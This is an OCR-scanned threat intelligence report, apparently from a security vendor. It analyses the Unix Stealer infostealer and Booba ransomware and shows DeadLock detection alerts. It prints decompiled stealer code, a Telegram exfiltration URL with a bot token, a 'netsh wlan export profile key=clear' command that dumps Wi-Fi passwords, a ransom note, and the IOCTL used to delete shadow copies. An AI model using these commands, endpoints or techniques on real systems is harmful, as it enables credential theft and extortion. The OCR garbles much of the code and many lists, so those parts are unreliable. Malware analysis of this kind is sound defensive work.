Detection Time Local 2026-07-16 18:59:16

Detection Engine Cynet AV

EELTY Passed

Infected file C:\Users\sm="Desktop\1\DeadLock.exe

Threat Intelligence Detection Malicious Binary

In addition to Cynet’s AV mechanism, Cynet also utilizes 3rd-party cyber-threat intelligence data to detect the presence of
suspicious and malicious files:

Threat Intelligence Detection Malicious Binary

Severity Alert Type Last Seen Status
HIGH (| Malicious Binary =~ 07/16/202615:59 = (> Open ~

CyAl Indicators Process Tree

Process Details

Process SHA256 ATFDFB5020CE4A0F0940C793C6425
BAFSBAQOB994EC48BOBAAF72788661A
9D29F4

Process PID 6728

Process Path c\users\s=ar\desktop\l\deadlock.exe

Process SSDeep 6144:IMkDop5039+EFDKBjMCOW+sVc
¥Rp90zEDXUBKQA4LYArazjkRwhcnUw
M4:1Ba5y+8GjMTYVcPONBKQ4LYAra6
™
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Unauthorized File Operation Attempt

This mechanism detects attempts to modify Cynet’s Ransomware decoy files and the presence of files with suspicious
extensions:

Unauthorized File Operation Attempt

Severity Alert Type Last Seen Status
CRITICAL ()| File Alert 07/28/2026 18:25 © Open ~

CyAl Indicators Process Tree Notes

Object Type File

File \Device\HarddiskVolume1\EFI\Microsoft\
Boot\bg-
BG\bootmgr.efi.mui. &858 £.dlock

File Extension dlock

File Extensionless bootmgr.efi.mui.480122
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Unix Stealer

Executive Summary

Unix Stealer is a feature-rich infostealer designed to harvest
sensitive data from web browsers, VPN clients, FTP clients, instant
messaging applications, gaming clients, and other software. To
evade detection, it stages and archives stolen datain memory
before exfiltrating it via Telegram Bot API, abusing a trusted service
for data theft. The malware is attributed to the Russian-based
hacking platform known as Unix.

Static Analysis

Through static analysis of this file and its embedded strings, we were able to assess its functionality and capabilities.

The file is a .NET executable:

* PEB4
Operation system: Windows(Server 2003)[AMDE4, 64-bit, GUI]
Linker: Microsoft Linker
Language: MSIL/CE
Library: .MET Framework(v4.8, CLR v4.0.30319)
(Heur)Protection: Obfuscation[Watermark]

As such, it allows us to review the code via a .NET decompiler which reveals a lot of the file’s operations.

The file’s configuration includes the stealer’s various features and their enabled status:
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Thefile targets a large array of sensitive data:

System information
The file collects a myriad of system information including:

Hostname, Username and Domain, OS information, HWID, clipboard data, drives information, GPU, network interfaces and
public IP address, and country code via web services.

tringBuilder

tringBuil
ingBuilder
ingBuilder

webClient

Screenshot

The file can take a screenshot of the desktop:
phics graphics = G 1C5. (bitmap} )

hdc = graphic
windowDC = -
» windowDC, @, @
graphics
(), windowDC);

graphics. smocthingMode. H

graphics. TextRenderingHint.

graphics. Interpolationmode.
rectangleF = ef, ( Ybounds.
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Wi-Fi passwords

The file extracts cleartext passwords from Wi-Fi profiles by first exporting the profiles to a folder and then parsing the resulting
XML files:

proCcess. >Tar
Process.

2t xdocument = XDocument. (text2);
KE nt xelement = xdocument.C ants({)
StringComparison. ) BE e.
StringComparison.
textd = (xelement != 1 ¥ xelement.
{ . (text3))
i
textd = . (text2);
1
KElement xelement? = xdocument.Descendants(). {{XElement &) =>
StringComparison. 1
textd = (xelement2 != )} ? xelementl. i
KElement xelement3 = xdocument.Descendants(). {{¥XElement &) =>
StringComparison. 1;
texts = (xelement3 != ) ? xelement3. i
KElement welementd = xdocument.Descendants(). {(¥Element e} =>
StringComparison. 1;
texts = (xelementd != ) ? xelementd.
list.Add( Wifikey.WifilInfo

= (text3 ?? "NSA"),
(textd4) ? "Not found™ : textd),
{text5) ? "Not found”
(textd) ? "Mot found™ : texts)

Applications

The file harvests sensitive information from a wide range of remote access, file transfer, development, tunneling, and
communication applications:

b # AnyDesk @02000088

b #e reFip @02000089 (2000094
b #¢ CyberDuck @0200008B ) 200009

b *g DynDns @0
b # FileZilla @0200003D Playlt @0200009E

b # FoxMail @0200008E PuTTY @02000040

b ‘I: FTPCommander @O0200008F ROChan @02000042

b #¢ FTPGetter @02000090 Rdp @0200004A3

b #2 FTPNa igator @02000091 Sunlogin @02000044

b "3 FTPRush @0200009: TearnSpeak @020000A6
b # GithubGui @02000093 TearmViewer @02000043

b #¢ letBrains @02000095 TotalCommander @020000A9

b #3 MobaXterm @02000098 b #3 WinSCP @020000AA
b #¢ Navicat @02000099 b % Xmanager @020000AC

PR Fa = MG
'l’.u'u'u'u'E'C 5 EULEUUIOUS
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VPN clients

b I'.::1|.|II ¥
b ‘IS MardWpn

Instant messaging clients

Gaming clients
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CYErsS

Crypto Wallet browser extensions

e Aegis Authenticator Equal Wallet Ledger Live Phantom Wallet
e Atomic Wallet EVER Wallet Ledger Wallet Pontem Wallet
e Aurox Wallet Exodus Liquality Wallet Rabby Wallet

e Authenticator ExodusWeb3 Wallet Magic Eden Wallet RoboForm

e Authy Fewcha Move Wallet MaiarDeFi Wallet Ronin

e Binance Chain Wallet
e BitApp Wallet

e Bitbox

e Bitwarden

e BoltX Wallet

e Braavos Smart Wallet
e BRD

e Bread

e (Carax Demon Wallet
e CirusWeb3 Wallet

e Coin98

e Coinbase Wallet

e Coinomi

e Copay

e Dashlane

e DeWallet

o Digital Bitbox

e Duo Mobile

e Edge

e Enkrypt Wallet

Crypto Wallet applications

e Armory

e atomic

e AtomicWallet
e Binance

e Bitcoin

e BitcoinGold
e Bytecoin

e Coin98

e Coinomi

FreeOTP

Goblin Wallet

Google Authenticator
GreenAddress

GU Wallet

Guarda Wallet

Guild Wallet
Harmony Wallet

Jaxx Liberty
JaxxxLiberty
Kardiachain Wallet
KeePass

KeePassXC

Keeper

KeepKey

Keplr Wallet

Koala Wallet
LastPass

LastPass Authenticator

Leap Terra Wallet

e Dash

e DashCore

e Electrum

e Electrum-LTC
e Ethereum

e Exodus

e Groestlcoin

e Guarda

e Jaxx

Manta Wallet

Martian and Sui Wallet
Math Wallet
MetaMask Wallet
MetaWallet

Mew CX

Microsoft Authenticator
Moso Wallet
Mycelium
MyTonWallet

Nami

Nami Wallet

NC Wallet

Nifty Wallet

NordPass

OKX Wallet
OpenMask Wallet

OTP Auth

Oxygen Wallet
PaliWallet

e Komodo

e |edgerLive

e LedgerLive

e Litecoin

e MathWallet

e MetaMask

e Monero

e MyCrypto

e MyEtherWallet
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SafePal Extension Wallet
Samourai Wallet
Saturn Wallet
SubWallet

Suiet Wallet
Suku Wallet
Talisman Wallet
TerraStation
TokenPocket
TON Wallet
Trezor

Tron

Trust Wallets
TrustWallet
UniSat Wallet
Wombat

XDEFI

xDefi Wallet
Yoroi Wallet
YubiKey

MyMonero
Phantom
PIVX

Tari
TrezorSuite
TrustWallet
Vertcoin

Zcash
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Chromium-based browsers

e 360Browser e Chromium e Iridium e QIP Surf

e 360Chrome Chromodo kingpinbrowser QQBrowser
e 7Star Citrio Kinza Sleipnirs
e Amigo CocCoc K-Melon Slimjet

e AOL Shield ColibriBrowser Kometa Sputnik

e Atom Comodo liebao Torch

e AVAST Browser

Comodo Dragon

Lulumi-browser

UCBrowser_i18n

e BaiduBrowser Coowon Maelstrom Uran
e Battle.net CryptoTab Browser Maxthon Vivaldi
e Blisk Edge Maxthon3 Xvast
e Brave-Browser Element Browser Min YandexBrowser
e Brave-Browser-Nightly Elements Browser Naver Whale
e CCleaner Browser Epic Privacy Browser Nichrome
e CentBrowser Falkon NVIDIAGeForce
Experience
e Chedot GhostBrowser Opera GX Stable
e Chrome Globus VPN Opera Stable
e ChromePlus Hola Orbitum
Gecko-based browsers
e Avant Profiles Flock Pale Moon e Undetectable
e BlackHaw Ghostery Browser SeaMonkey e \Waterfox
e conkeror IceDragon Sielo
e Cyberfox K-Meleon SlimBrowser
o Firefox Navigator Thunderbird

The file also contains a File Grabber that targets files containing passwords and seed phrases using several indicators:

Seed phrase regex
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Keywords

Seed extensions

Seed Paths

Staging

Unlike many other infostealers, Unix stealer avoids storing the stolen information on disk and instead stages and archives the
data in memory:
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~ing entryPath, te[] content)

xception("InMemoryZip");

if (content != null 2& content. I= @)
ing key = 1':5.;::l. fix({entryPath);
te[] copy = ne t [content 15
(content, @, copy, @, content. }s

entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy);

ray (Compressionlevel compression = Compressionlevel.

object buildLock = thi
byte[] result;
ck (buildLock)
(MemoryStream memorystream MemoryStream())
using (ZipArchive zipArchive e
Encoding. Y3

ZipArchive(memoryStream, ZipArchiveMode.

<string, byte[]> keyValuePair in this

, compression).0

(Stream stream = zipArchive.CreateEntry(keyValuePair. pen(})
byte[] walue = keyValuePair. 3

rite{value, 8, value. 03

1
L
I
§

result = memoryStream.ToArray();

n result;

Exfiltration

The file exfiltrates stolen data via Telegram by utilizing hardcoded Telegram bot information:

c static Task<bools> (string botToken, string chatId, te[] file, string fileName, string caption)
Program. <SendToTelegram»d_ ;

<SendToTelegram»d  .<»>t_ builder =

<sendToTelegram»d_ .botToken = botToken;

<SendTnTelegral)d__.:'3. d = chatld

<sendToTelegram»d__ .file = file;
<SendToTelegram>d__ .file
<SendToTelegram»>d_
<SendToTelegram»>d_
cSendToTelegram»d__ |
return <SendToTelegrams»d

= -F11n=_-lhllam~a_1
caption;
—il5
er.Start<Program. »{ref <SendToTelegram»d ) ;

1 = "ENCRYPTED: USE1DTYDS1YduNWWCAU1pg2 amUry PEaXn34mT 3USkKN
= "ENCRYPTED:U+aB4EdERatVTtEBINGEF]=="]

GaHZr842+ iy TEnbiXgmn™ ;
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Dynamic Analysis

Data collection

Upon execution, the process contacts the URL “hxxp[:]//icanhazip[.Jcom/” (104.16.185.241:80).

When sending a GET request to the “icanhazip” website, it responds with the host’s public IP address:

http://icanhazip.com/

ion Iy i
0.026 GET
Outgoing requests 4 Incoming requests
Request Details
Header
[Request]

Connection
Host

Value
GET / HTTP/1.1
Keep-Alive

icanhazip.com

text/plain

Type

LOox

Size

0.015

Speed

AGE

24414 Unix5Stealer

onse Details

*64 icanhazip.com

P

104.16.185.24

Then, the process contacts the URL “hxxp[:]//ip-api[.]Jcom/line/?fields=countryCode” (208.95.112.1:80) to receive the host’s

country code:

Url
http://ip-api.com/line/ields= countryCode

sts 4 Incoming requests

Header Value
[Request]
Connection
Host

Keep-Alive

ip-api.com

Status

200

GET Jline/?fields=countryCode HTTP/1.1

Type
text/plain; charset=utf-8

Domain

*B64 ip-api.com

208.95.112.1:80

Next, the process initiates scanning of its targeted files, applications and system information previously detailed in the file’s

static analysis:

C:\Llsers.xp Data\Roaming CyberGhost
Cillsers pDataRoaming"ExpressyPM
C:*Program Files“hidemy name VPN 2.0

C:\Llsers\-\ﬁpp DataLocal | PVanish*Settings
C:*Program Files Mullvad VPN Configs Mullvad

Chlsers pData‘Local'Mord VPN

Chllsers pData‘Roaming*OpenVPN Connect’profiles
C:*ProgramData“pia_manager

Crillsers pDatatLocal ProtonVP M

Crillsers pData*RoamingProxifierd"Profiles

Cillzers pDataRoaming Surfshark
Cillsers pDatat\Local'LogMeln Hamachi
C:\Program Files"\WireGuard*Data*Configurations
C:*Program Files*SoftEther VPN Client

Chlsers pData‘Roaming*£cash
Chlsers pData*FRoaming*Amory
Chlsers pData‘Roaminghytecoin
Chlsers
Chllsers
Crillsers
Crillsers

pData‘RoamingExodusexodus wallet
pDataRoaming Ethereum*keystore
pDataRoaming Bectrum‘wallets

pData‘Roamingcom liberty jaod Indexed DB ile__ 0 indexeddb leveldb
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Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:

Read Attributes,

Read Attributes

Read Attributes,
Read Attributes,

Read Attributes
Read Attibutes

Read Aftributes,
Read Aftributes,

Read Attributes

Read Attributes,
Read Attributes,

Read Attibutes

Read Attributes,
Read Attributes,

Read Attributes

Read Attributes,
Read Aftributes,
Read Aftributes,

Read Aftributes

Read Attributes,
Read Attributes,

Disposition:
, Digposition:
Disposition:
Disposition:
. Digposition:
. Disposition:
Dizposition:
Dizposition:
, Disposition:
Disposition:
Disposition:
, Disposition:
Disposition:
Disposition:
, Disposition:
Disposition:
Disposition:
Disposition:
, Dizposition:
Disposition:
Disposition:

Cpen,
Cpen,
Cpen,
Cpen,
Cpen,
Open,
Open,
Open,
Cpen,
Cpen,
Cpen,
Cpen,
Cpen,
Cpen,
Open,
Cpen,
Open,
Open,
Open,
Cpen,
Cipen,

Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
Opti...
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ppData‘LocalCoowon \Coowaon Desired Access: Read Attibutes, Disposition: Open, Opti...
App Data'Local \Microsoft'\EdgeUser Data“Autol aunch ProtocolsComponent'Web Data Desired Access: Read Attributes, Disposition: Open, Opti...
AppDatatLocal Uran‘Uger Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘Local\Kinza*ser Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
pp Data'Local BliskUser Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData“Local'Xvast'\User Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
App DataLocal Torch\User Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘LocalMicrosoft EdgeUser DataAutoLaunch ProtocolsCompanent'Ya Passman Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local\Crypto Tab Browser Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘Local\Microsoft'Edge'User DataAutoLaunch ProtocolsComponent'Ya Credit Cards Desired Access: Read Attibutes, Disposition: Open, Opti...
App Data'Local\Comodo*User Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local \Kometa'\User Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
ppData“Local'Microsoft'EdgeUser Data"BrowserMetrics'\Login Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
App DataLocal\liebao'User Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘Local'Chedot'User Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local \Microsoft\ EdgeUser Data"BrowserMetricsLogin Data For Account Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘Local K-Melon*User Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local \Microsoft' EdgeUser Data®BrowserMetrics \Network \Cookies Desired Access: Read Attributes, Disposition: Open, Opti...
AppDatatLocal\Orbitum®Uger Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData“localVivaldit User Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local\Slimjet"User Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
ppData‘Local Iridium'User Data Desired Access: Read Attributes, Disposition: Cpen, Opti...
App Data'Local\Maxthon'\User Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData‘Local\Maxthon3sUser Data Desired Access: Read Attributes, Disposition: Open, Opti...
App Data'Local \Michrome'\User Data Desired Access: Read Attributes, Disposition: Open, Opti...
ppData“LocalChromodot User Data Desired Access: Read Attibutes, Disposition: Open, Opti...

The process continues by creating the folder “C:\Users\*\AppData\Local\Temp\UnixStealerWifiExport_<guid>" before calling
two instances of “Netsh.exe”.

The firstis used to export the host’s Wi-Fi profile data, including clear text passwords, to the newly created folder for further
parsing and collection:

Class: File System

Operation: CreateFile

Result: SUCCESS

Path: ChUsers R AppData Local\ Temph Unix StealerWifiEx port_2fb30e95c39cde2eb2bSdoc11ebialec

Image
|I| Metwork Command Shell
Microsoft Corporation
Mame: netsh.exe
Version:  10.0.1%9041.1 (WinBuild.160701.0800)

Path:
| CAWindows\SYSTEM3Z\netsh.exe

Command Line:

| "netsh” wlan export profile key=clear folder="C\Users pplataiLocal\ Temp\UnixStealerWifiExport_2fb50e95c3%9cdedeb2bidec]Teb5alec”

The second “Netsh.exe” command outputs a list of the host’s available Wi-Fi profiles:
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Image
|I| Metwork Command Shell

Microsoft Corporation

Mame: netsh.exe

Version:  10.0.19041.1 (WinBuild.160701.0200)

Path:
| CAWindows\SYSTEM32\netsh.exe

Command Line:

| "netsh" wlan show profiles

During data collection, the Unix Stealer process saves all collected data as files within an in-memory ZIP archive using the
following naming convention: “<countrycode>_<publiclP>_<date>_<time>_<64randomchars>.zip”

The ZIP file contents are sectioned in the following way:

DomainDetects.txt
Environment.txt
Information.txt
InstalledBrowsers.txt
InataelledScftware.txt
Processlist.txt
ProductEevy.txtT
Screenshot.jpg
UnixStealer.txt
Userigents.CXT
UserInformation.t=t
——EBrowser
—>Autofill
—Cookies
—Download
FingerPrint
—History
MasterKeys

Path

TR

Verglon
FileGrabber

L —desktop
——¥bhox

Microsoft.¥Xbox.TCUI_Swekyb3dibbwe
L settings
Microsoft.¥boxBpp Bwekyb3dibbws
L settings
Microsoft.¥XboxGameCallablelUl_cwinlhitxyewy
L Se=ttings
—Microsoft.¥boxGameOverlay Swekyb3dEbbwe
LocalState

| L DiagCutputDir

L Settings
—Microscoft.XboxGamingOverlay Swekyb3dibbwe
—=Localstate
| L DiaglutputDir
L settings
Microsoft.XboxIdentityProvider Swekyb3dEbbwe
L settings
Microsoft.¥XboxSpeechToTextlverlay Bwekyb3dibbwe
L settings
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Exfiltration

Finally, the process exfiltrates the collected data via an API call to a Telegram bot at:

“hxxpsl[:]//api[.]Jtelegram[.]org/bot8087590569:AAFzmSJZL1yACiISIN8TOK60OPIDUugHkmYaY/sendDocument
(149.154.166.110:443)”

Method Url Status Type Size n Domain
POST https://api.telegram.org/bot8087590369:AA... 200 application/json xS e *64 apitelegram.org
4 Incoming requests
Lox

-

The POST request sends the following summary message, detailing an overview of the stolen data, along with the created ZIP
file itself:

4> New Log Received %>

W User: -@-. IP:_
[] Main Loot:

Q, Passwords: o Cookies: 136 @ Wallets: a
() Additional Data:

(=) Messengers: 1 # Games: 7 ﬁ Grabbers: 1

B Developer: @klimari a From: unix

The telegram bot named “RailgunUnix_BOT” is set to send the information to the specific telegram user “Sukronix”:
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Q Telegram

a | & Nazuna & B

Tbl fonbae6t? A 310 HOTO TONBKO CBOEN Mame

RailgunUnix_BOT

WUnix B

ART

Kuaan otkyaa y Tebs ata ¢poto

The stealer’s creation is credited to the Telegram user “klim0ri”, who claims ownership of a Russian website and Discord
server “Unix”, which offers hack tools, leaks, marketplace, and services:
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KLIMORI REDANOV

1Hmuri
# Silent storm inside - Owner Unix - @unix_discord
» None Trolling - @nonetrolling » Def - @hicator =

Bro - @d4rkhole ~ Bio - @klmrx #

#® unix v Y | B - st3ALers

* Unix in Telegram!

Q 3

UNIX - FI O APP

Fvont Dotalla Unix - Select a tool from the category

Please select an option from the menu below to view details and

AR NEF 3 :);\;E'ADQ get a download link.

»

UnixStealer V2

a
* ST3ALERS
o |. UnixStealer OLD
’

Raven Stealer

Santa Stealer

Amnesia Stealer

Figure 3 - Un1x Discord server
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Full Process Tree:

Process Command Life Time

# UnixStealerV2 exe (7564) "C:'-.Users'--.Desktcnp'-.Uni:-:SteaIer‘u"Z.e:-:e" |
o % UnixStealer'V2 exe (5538) "C:hUsers JDesktop' UnixStealery2 exe”

- & netsh.exe (11080) "netsh" wlan export profile key.'=clearfnlder="C:'-.Llsers'-ﬁ.ppData'-.Lou:aI'-.Tem|:u'-.Uni:-:Stealer‘."'.n"rfiExport... .
g% Conhost exe (1528) VI Windowshsystem 32 conhost .exe (Wfffff -ForceV1 .
- & netsh exe (10608) "netsh” wlan show profiles I
wad Conhost exe (5728) WIRCWWindows system 32 conhost exe (fffff -ForceV1 I

MITRE ATT&CK Tactics and Techniques

Execution Stealth Credential Access Discovery Collection Exfiltration
Native API Indicator Removal Steal Web Session Browser Information Discovery Archive Collected Automated
Cookie Data Exfiltration
Virtualization/Sandbox Unsecured Credentials File and Directory Discovery Automated Collection Exfiltration Over
Evasion Web Service
Process Discovery Clipboard Data
Software Discovery Data from Local
System
System Information Discovery Data Staged
System Location Discovery Screen Capture

System Network Configuration
Discovery

System Owner/User Discovery
System Time Discovery

Virtualization/Sandbox Evasion

Cynet vs Unix

Note: During this simulated execution, Cynet’s unified cybersecurity platform is configured in detection mode (without
prevention)to allow the Unix Stealer to execute its full flow. This lets Cynet detect and log each step of the attack.

Cynet can detect and prevent this malware using multiple mechanisms.
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File Dumped on the Disk

Cynet’s AV/Al engine detects that a malicious file was dumped on the disk or is attempting to run:

Detection Engine - Malicious Binary - Infected File - File
Dumped on the Disk

Severity Alert Type Last Seen

HIGH [ | Malicious Binary 07115/2026 14:37

CyAl Indicators Process Tree Notes

Detection Engine Cynet AV

Sanity Passed

Infected file C\Users' \Downloads\d17386f1f067
73fMcBf90f38043ed432863a6d3251c8
60033985fe288e0ab14

Unauthorized File Operation Attempt

This mechanism is able to detect unauthorized access of sensitive browser files:

Unauthorized File Operation Attempt

Severity Alert Type Last Seen
CRITICAL O3/ File Alert 0715/2026 14:42

CyAl Indicators Process Tree Notes

Fixed File cusersy \appdata\local\google\chro
me\user data\default\login data for
account

Volume Type Fixed

Volume Attributes BDnt|Physical

Primary
Value 12288
y Level String High
Thread user sid 5-1-5-21-2462143261-660407209-
3243961734-1001
Action Origin Type Local
ETW Alert Id I0F - Web Browsers Credentials Theft -
Login Data - Suspicious Paths - KWA
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Unauthorized File Operation Attempt

Alert Type
)| File Alert

Severity

CRITICAL

CyAl Indicators

Fixed File

Volume Type
Volume Attributes
Thread Security Token Type
Thread Security Token Int
Security Token Integ

Thread user sid

Action Origin Type
ETW Alert Id

Last Seen

0715/2026 14:42

Process Tree Motes

clusers\ \appdata\local\google\chro
me\user data\default\network\cookies

Fixed
Boot|Physical
Primary

ty Level Value 12288

ty Level String High

5-1-5-21-2462143261-660407209-
3243961734-1001
Local

I0F - Web Browsers Credentials Theft -
Cookies - Suspicious Paths - K\WA

Unauthorized File Operation Attempt

Alert Type
| File Alert

Severity

HIGH

CyAl Indicators

Fixed File

Volume Type

Volume Attributes
Threa
Threa

Thread !

curity Token Type
curity Token I
curity Token In

Thread user sid

Action Origin Type
ETW Alert Id

grity Le

Last Seen

07N15/2026 14:43

Process Tree Notes

clusers\ \appdats\local\google\chro
me\user data\local state

Fixed
Boot|Physical

Primanry

grity Level Value 12288

String High
5-1-5-21-2462143261-660407 209~
3243961734-1001
Local

IOF - Chrome Browser - LocalState
Theft - Not Signed Process - KWA - AF
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Unauthorized File Operation Attempt

! Alert Type Last Seen
CRITICAL 0| File Alert 07/15/2026 14:44

CyAl Indicators Process Tree MNotes

Fixed File cAusers) \appdata\localimicrosoftied
ge\user data\local state
Volume Type Fixed
Volume Attributes Boot|Physical
Thread Security Token Type Primary
grity Level Value 12288
tegrity Level String High
5-1-5-21-2462143261-660407209-
3243961734-1001
Local

ETW Alert Id IOF - Edge Browser - LocalState Theft -
Suspicious Paths - KWA

Copyright © 2026 Cynet



&cynet

Monthly Cyber Threat Intelligence report | July 2026

Booba Ransomware

Executive Summary

Booba is an emerging ransomware group that was first discovered
in late June 2026. It adopts the popular double-extortion model,
exfiltrating sensitive company data prior to the encryption of hosts
to hold as leverage against the victim. If the ransom is not paid, the
group publishes the stolen data of “Silence Keepers” on a TOR
hosted leak site. To date, the group has claimed nine victims across
multiple sectors in the EU and the US.

About Us

Dear Valued Partners,

Static Analysis
Through static analysis of the file and its embedded strings, we were able to assess its functionality and capabilities.

Reviewing the file’s strings data shows that the file may use the “Sleep” API function. This function may be abused by threat
actors to delay the execution of potentially malicious commands, thus avoiding sandbox detection by triggering their timeout
set for file scanning.

Sleep

The API function “IsDebuggerPresent” may be used by the file, allowing it to detect whether a debugger is currently running on
the host. Malware uses this function to find whether the file has attempted to be analyzed, and if so, usually results in it
behaving differently than intended to avoid detection and analysis. For example, the file may alter its behavior to mask itself as
benign, terminate itself, or even delete itself from the host entirely.

lzDebuggerPresent

The file can use the following functions to enumerate the host’s file system:

FindFirstFileW
FindMextFileWy
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The file can create, read, and modify files:

CreateFileW ReadFile WriteFile

The file may encrypt data:

CryptReleaseContext

SystemFPunction(36
CryptAcquireContexts

CryptGenRandom

The file may create and manage network sockets:

18 (celect

WSARecw

21 (setsockopt

7 (getsockopt

3 (closesocket

9 (htons

23 (socket
WSARecvFrom

115 (WSAStartup

112 (W5ASetl astError)
22 (shutdown
WSAloctl

111 (WEAGetl astError)
WSASocket\W

The file contains a built-in list of excluded paths to ignore during encryption:

winnt

thumb

Systemn Velume Information
Windows

tmp

The file also contains a list of file extensions excluded from encryption:

dll
ExE
Ink

AT

msi
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The file’s strings contain log messages that suggest that it may attempt to delete the host’s shadow copies (backups):

Deleting Shadow Copy: %s Of %65
Deleting Shadow Copy: %as

The file may create a log file:

/booba_log.log

The file supports runtime arguments:

wrnkill
log
percent
chadow
console
nolog

delay

Potential ransomware extension:

booba

Potential ransomware note filename and content:

Booba_readme.tit

Dear Valued Partners \rin\rinWe represent the Booba tearn, specializing in data decryption services, As part of our interaction, we have successfully extracted data fr...
N

to leg into cur chat\r\nirinMote: Any independent attempts to recover files may result in their damage, rendering further assistance impossible. We suggest resolvi...

Dynamic Analysis

Loggin

3

When provided with the “- -1og” parameter, the process starts by creating the file “booba_log.log” at the path of the process
execution. The process populates the log file with the encryption status of the targeted files during execution:
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File Edit Format View Help

2826-87-15 11:43:38 INFO Added log file to skip : C:wUsers\JJJDesktop/bocba_log.log
2@26-@87-15 11:43:38 INFO stream_file cb: file: C:\Tools‘die‘\die.ini

2@826-87-15 11:43:38 INFO stream_file_ch: skip file: C:\Tooclsidie\diec.exe
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Tools‘die\diel.exe
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Tools‘\die\die.exe

2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Jools‘\die\libcrypto-1_1-x64.d1l
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:“\Toolshdie‘libssl-1_1-x64.d11
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Tools‘\die‘\msvcpldd.dll
2@826-87-15 11:43:38 INFQO stream_file_cb: skip file: C:‘\Tools‘\diemsvcpld@_1.dll
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Tools‘\die\Qt5Core.dll
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Tooclsidie‘\QtSMetwork.dll
2826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Tools‘\die'\QtSOpenGlL.dll
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Toolsi\die\Qt5Gui.dll
2826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Tools\die\QtSScript.dll
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:“\Tools‘die\Qt5ScriptTools.dll
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Toolsi\die\(Qt55gl.dll
2@826-87-15 11:43:38 INFO stream_file_cb: file: C:\Tools‘dielshortcuts.iniwin.ini
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Tools‘\die\QtSWidgets.dll
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Toolsidie \Qt5Svg.dll
2@826-87-15 11:43:38 INFO stream_file_cb: skip file: C:\Tools‘die‘wvcruntimelds.dll
2@26-87-15 11:43:38 INFO stream_file cb: skip file: C:\Tools‘die‘\vcruntimeld® 1.d11

2@826-87-15 11:43:38 INFO stream_file_cb: file: C;\Tools\HxD\changelog.txt
PRAIA-AT-15 114333 THFEN  stream Fila rhr clkdin Fila: M3y Tanl s HyDWHYNZ? ave

Mmoo o mmnm

Ransom note creation

The process continues by creating the ransom note file “Booba_readme.txt” at the targeted path and also recursively in any
subsequent child folders.

In the contents of the note the Booba Team declares that they have exfiltrated data from the network before encrypting the
files. The threat actors provide a link to the team’s leak site hosted on the TOR network where they publish data of “Silence
Keepers”. They also provide an additional link along with a chatID code to contact the team for ransomware negotiations:

_ | Booba_readme.txt - Metepad - [m] X

File Edit Format View Help
Dear Valued Partners,

We represent the Booba team, specializing in data decryption services. As part of our interaction, we have
successfully extracted data from your network prior to system lockdown. We guarantee that, in accordance with
our agreement, you will receive a functional decryption tool and have the opportunity to test it before
making payment.

To familiarize yourself with our work, we invite you to visit our blog where we publish the list of "Silence

Keepers": http://7 N - o1 0"

Instructions for Contact:

1. Install the TOR browser at torproject.org/download/ to access our chat.
2. Copy this link — http:// - <11ion .
3. Use authorization code — 1 - o log into our chat.

Note: Any independent attempts to recover files may result in their damage, rendering further assistance
impossible. We suggest resolving this matter professionally and confidently finding an optimal solution.

Best Regards,
The Booba Team
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Contact

Entertainmen

: (1) Booba Chat x  + i o

C 1 & noy/-HIIIE

ata: 10 GB

Lonionfy

Our Blog boobateam@proton.me

_onionfy

Figure 4 - Booba Leak Site and Chat

Shadow copy deletion

If the “- -shadow” runtime parameter is set, the process enumerates and deletes the host’s shadow copies utilizing
Input/Output Control (IOCTL) commands. By doing so, the ransomware bypasses high-level VSS COM interfaces and
management utilities, interacting instead with the Volume Shadow Copy Driver “volsnap.sys” via user-mode handle
manipulation. Debugging the process reveals that the ransomware populates the edx register with the control code
“@x53C038” (which maps to IOCTL_VOLSNAP_DELETE_SNAPSHOT) immediately prior to executing the DeviceIoControl
API call:

€all gword ptr ds:[<CreatefFilew:]
mov rdi,rax

C-'np rax|::::::::::::::::

jne booba.7FFE972C4C73

call gword ptr ds:[<GetLastError>]
mov edx,eax

lea rcx,qword ptr ds: [FFF697309548]
call booba.7FFE372C4470

jmp booba. 7FF&E972C4CD6
mov qword ptr ss:ffrsp
lea rax,qword
mov qword ptr
mov dword ptr
mov gword ptr
mov rod, 204

lea r&,qword ptr ss:[[rbp+lo
edx,53C038

mow
mov rox,rdi

call qword ptr ds:[<DeviceloControl>]

rdi:L" Wwolume{f3o0erdls-0000-0000-0000-3003000000007
